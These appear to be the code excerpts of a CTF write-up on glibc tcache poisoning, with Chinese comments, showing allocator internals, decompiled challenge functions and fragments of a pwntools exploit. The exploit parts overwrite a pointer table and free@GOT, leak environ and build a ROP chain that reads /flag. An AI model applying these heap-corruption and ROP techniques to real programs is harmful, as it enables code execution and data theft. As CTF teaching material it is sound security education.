1
+----+    +------+     +------+
2
| 0  | -> | chunk| --> | chunk| --> NULL
3
+----+    +------+     +------+
4
| 1  | -> NULL
5
+----+
6
| 2  | -> | chunk| --> NULL
7
+----+    +------+
8
| .. |
9
+----+
10
| n  | -> | chunk| --> | chunk| --> | chunk| --> NULL
11
+----+    +------+     +------+     +------+

1
size_t stack_var; // 目标投毒的地址
2

3
intptr_t *a = malloc(128); // addr: 0x5555555592a0
4
intptr_t *b = malloc(128); // addr: 0x555555559330
5

6
free(a);
7
free(b);
8

9
b[0] = (intptr_t)&stack_var;  // tcache poisoning ！
10

11
intptr_t *c = malloc(128);
12

13
assert((long)&stack_var == (long)c); // 此时我们已经获得了针对栈地址 &stack_var 读写控制权

1
intptr_t *a = malloc(128); // addr: 0x5555555592a0
2
intptr_t *b = malloc(128); // addr: 0x555555559330
3

4
free(a);
5
free(b);

1
size_t stack_var; // addr: 0x7fffffffe508
2
b[0] = (intptr_t)&stack_var;

1
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
2
typedef struct tcache_entry
3
{
4
  struct tcache_entry *next;
5
} tcache_entry;
6

7
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
8
typedef struct tcache_perthread_struct
9
{
10
  char counts[TCACHE_MAX_BINS];
11
  tcache_entry *entries[TCACHE_MAX_BINS];
12
} tcache_perthread_struct;
13

14
static __thread tcache_perthread_struct *tcache = NULL;

1
static void *
2
tcache_get (size_t tc_idx)
3
{
4
  tcache_entry *e = tcache->entries[tc_idx];
5
  assert (tc_idx < TCACHE_MAX_BINS);
6
  assert (tcache->entries[tc_idx] > 0);
7
  tcache->entries[tc_idx] = e->next;
8
  --(tcache->counts[tc_idx]); // 对应的tcache数量减少1
9
  return (void *) e;
10
}

1
static void
2
tcache_put (mchunkptr chunk, size_t tc_idx)
3
{
4
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
5
  assert (tc_idx < TCACHE_MAX_BINS);
6
  e->next = tcache->entries[tc_idx]; // 通过头插法插入新的chunk
7
  tcache->entries[tc_idx] = e;
8
  ++(tcache->counts[tc_idx]);
9
}

1
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

1
/* Convert a chunk address to a user mem pointer without correcting
2
   the tag.  */
3
define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  setup(argc, argv, envp);
4
  puts("Welcome to the library of hopes and dreams!");
5
  puts("\nWe heard about your journey...");
6
  puts("and we want you to share about your experiences!");
7
  puts("\nWhat would you like your author signature to be?");
8
  printf("> ");
9
  LODWORD(author_signature) = ' yb';
10
  __isoc99_scanf("%12s", (char *)&author_signature + 3);
11
  puts("\nGreat! We would like you to write no more than 10 books :)");
12
  puts("Please feel at home.");
13
  secure_library();
14
  write_books();
15
  return puts("Goodbye!");
16
}

1
unsigned __int64 write_books()
2
{
3
  int choice; // [rsp+0h] [rbp-10h] BYREF
4
  int fav_num; // [rsp+4h] [rbp-Ch] BYREF
5
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
6

7
  v3 = __readfsqword(0x28u);
8
  while ( 1 )
9
  {
10
    while ( 1 )
11
    {
12
      print_menu();
13
      __isoc99_scanf("%d", &choice);
14
      getchar();
15
      if ( choice != 1337 )
16
        break;
17
      if ( !secret_msg )
18
      {
19
        printf("What is your favourite number? ");
20
        __isoc99_scanf("%d", &fav_num);
21
        if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )
22
          printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);
23
        secret_msg = 1;
24
      }
25
LABEL_19:
26
      puts("Invalid choice.");
27
    }
28
    if ( choice > 1337 )
29
      goto LABEL_19;
30
    if ( choice == 4 )
31
      return v3 - __readfsqword(0x28u);
32
    if ( choice > 4 )
33
      goto LABEL_19;
34
    switch ( choice )
35
    {
36
      case 3:
37
        throw_book();
38
        break;
39
      case 1:
40
        write_book();
41
        break;
42
      case 2:
43
        rewrite_book();
44
        break;
45
      default:
46
        goto LABEL_19;
47
    }
48
  }
49
}

1
unsigned __int64 write_book()
2
{
3
  int idx2; // ebx
4
  _QWORD *v1; // rcx
5
  __int64 v2; // rdx
6
  int idx; // [rsp+4h] [rbp-4Ch] BYREF
7
  size_t size; // [rsp+8h] [rbp-48h]
8
  char buf[32]; // [rsp+10h] [rbp-40h] BYREF
9
  char v7; // [rsp+30h] [rbp-20h]
10
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]
11

12
  v8 = __readfsqword(0x28u);
13
  puts("\nAt which index of the shelf would you like to insert your book?");
14
  printf("Index: ");
15
  __isoc99_scanf("%d", &idx);
16
  getchar();
17
  if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )
18
  {
19
    puts("Invaid slot!");
20
  }
21
  else
22
  {
23
    --idx; // 书架的编号
24
    memset(buf, 0, sizeof(buf));
25
    v7 = 0;
26
    puts("Write me a book no more than 32 characters long!");
27
    size = read(0, buf, 0x20uLL) + 0x10; // 读入0x20个字节的内容,还要加上尾部填充的0x10字节
28
    idx2 = idx;
29
    slot[2 * idx2] = malloc(size);
30
    memcpy(slot[2 * idx], buf, size - 0x10);
31
    v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用户数据的尾部
32
    v2 = qword_4040D8;
33
    *v1 = *(_QWORD *)author_signature; // 写入作者签名和一个magic number
34
    v1[1] = v2;
35
    books[idx].size = size; // 这里存在问题，后续通过 books[idx].size 获取大小的时候要减掉0x10
36
    puts("Your book has been published!\n");
37
  }
38
  return v8 - __readfsqword(0x28u);
39
}

1
unsigned __int64 rewrite_book()
2
{
3
  _QWORD *v0; // rcx
4
  __int64 v1; // rdx
5
  int idx; // [rsp+Ch] [rbp-14h] BYREF
6
  ssize_t v4; // [rsp+10h] [rbp-10h]
7
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
8

9
  v5 = __readfsqword(0x28u);
10
  puts("\nAt which index of the shelf would you like to rewrite your book?");
11
  printf("Index: ");
12
  __isoc99_scanf("%d", &idx);
13
  getchar();
14
  if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )
15
  {
16
    --idx;
17
    puts("Write me the new contents of your book that is no longer than what it was before.");
18
    v4 = read(0, slot[2 * idx], books[idx].size); // 从标准输入读取books[idx].size个字节到slot[2*idx]中
19
    v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);
20
    v1 = qword_4040D8;
21
    *v0 = author_signature;
22
    v0[1] = v1;
23
    puts("Your book has been rewritten!\n");
24
  }
25
  else
26
  {
27
    puts("Invaid slot!");
28
  }
29
  return v5 - __readfsqword(0x28u);
30
}

1
unsigned __int64 throw_book()
2
{
3
  int v1; // [rsp+4h] [rbp-Ch] BYREF
4
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  puts("\nAt which index of the shelf would you like to throw your book?");
8
  printf("Index: ");
9
  __isoc99_scanf("%d", &v1);
10
  getchar();
11
  if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )
12
  {
13
    free(slot[2 * --v1]);
14
    slot[2 * v1] = 0LL;
15
    puts("Your book has been thrown!\n");
16
  }
17
  else
18
  {
19
    puts("Invaid slot!");
20
  }
21
  return v2 - __readfsqword(0x28u);

1
    edit(1, pwn.flat([
2
             1==
3
            0xff,  sz
4
            exe.sym.stdout,  target
5
             2==
6
            0x8,  sz
7
            exe.got.free,  target
8
             3==
9
            0x8,  sz
10
            exe.sym.secret_msg,  target
11
             4==
12
            0xff,  sz
13
            exe.sym.books  target
14
        ] + [0] * 0x60, filler = b"\x00"))

1
pwndbg> x/40gx 0x4040e0
2
0x4040e0 <books>:       0x00000000000000ff      0x00000000004040a0
3
0x4040f0 <books+16>:    0x0000000000000008      0x0000000000404018
4
0x404100 <books+32>:    0x0000000000000008      0x00000000004040c0
5
0x404110 <books+48>:    0x00000000000000ff      0x00000000004040e0
6
0x404120 <books+64>:    0x0000000000000000      0x0000000000000000
7
0x404130 <books+80>:    0x0000000000000000      0x0000000000000000
8
0x404140 <books+96>:    0x0000000000000000      0x0000000000000000
9
0x404150 <books+112>:   0x0000000000000000      0x0000000000000000
10
0x404160 <books+128>:   0x0000000000000000      0x0000000000000000
11
0x404170 <books+144>:   0x0000000000000000      0x0000000000000000

1
     free@got => puts
2
    edit(2, b"".join([
3
            pwn.p64(exe.sym.puts)
4
        ]))

1
     leak stack (environ)
2
    edit(4, pwn.flat([
3
             1==
4
            0xff,  sz
5
            libc.sym.environ  target
6
        ], filler = b"\x00"))

1
rop = pwn.ROP(libc, base=stackframe_rewrite)
2

3
 setup the write to the rewrite stackframe
4
edit(4, pwn.flat([
5
         1==
6
        0xff,  sz
7
        stackframe_rewrite  target
8
    ], filler = b"\x00"))
9

10
 ROPchain
11
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY)  open
12
rop.call(rop.find_gadget(["syscall", "ret"]))
13
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100)  file descriptor bf ...
14
rop.call(rop.find_gadget(["syscall", "ret"]))
15

16
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100)  write
17
rop.call(rop.find_gadget(["syscall", "ret"]))
18
rop.exit(0x1337)
19
rop.raw(b"/flag\x00")

1
     chunk2 => sz extended
2
    edit(1, b"K"*0x20)